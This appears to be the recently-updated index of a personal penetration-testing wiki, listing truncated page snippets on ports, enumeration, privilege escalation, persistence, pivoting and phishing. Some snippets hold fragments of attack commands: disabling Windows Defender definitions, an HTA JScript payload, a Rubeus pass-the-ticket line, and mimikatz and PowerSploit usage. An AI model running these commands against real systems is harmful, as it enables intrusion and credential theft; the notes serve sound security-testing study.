Recently Updated Pages
Misc
Encryption/Hashing Block Ciphers ECB - Electronic Code Block CBC - Cipher Block Chaining OF...
ICMP Responses
The below is not an extensive list. The rest of the responses are either deprecated or experime...
Command Examples
POP POP protocol is session based. Changes occur only after you type QUIT. USER [username] # t...
rlogin
Opens ports between 512-514 Service Port Protocol rcp 514 TCP rexec ...
Common Ports
Port Service 7 ECHO 9 Discard 13 Daytime 17 QotD (Quote of the...
TTL
The operating system sets the initial TTL value or application creating the IP packet. Here are s...
Blast Defender
Via command prompt cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinit...
Linux AD
Tools required <https://github.com/its-a-feature/KeytabParser> <https://github.com/sosdave/KeyT...
6. Pivot
You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Ap...
5. Persistence
Linux - SSH On your host cat ~/.ssh/id_rsa.pub # if you don't have one create run: ssh-key -t r...
4. Post Compromise
Blast AV and enable RDP with hashes cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRu...
3. Privilege Escalation - Windows
PowerUp Upload the following script to the host /usr/share/windows-resources/powersploit/Pri...
Phishing
HTA payloads Ping <html> <head> <script language="JScript"> var shell = new ActiveXObject(...
2. Initial Access
1. Enumeration
Automated approach autorecon TARGET_IP Manual approach nmap TARGET_IP -p- --min-rate 1400 -sV ...
Quick Checklist
Personal Checklist [ ] Enumeration [ ] nmap [ ] autorecon [ ] HTTP/S? [ ] gobuster/d...
ligolo-ng
You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Appl...
mimikatz
You will need to first upload the binaries to the target, either via a meterpreter shell or power...
powersploit
Reset a user’s password $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Forc...
rubeus
Rubeus.exe asktgt /user:username /rc4:NTLM_hash /ptt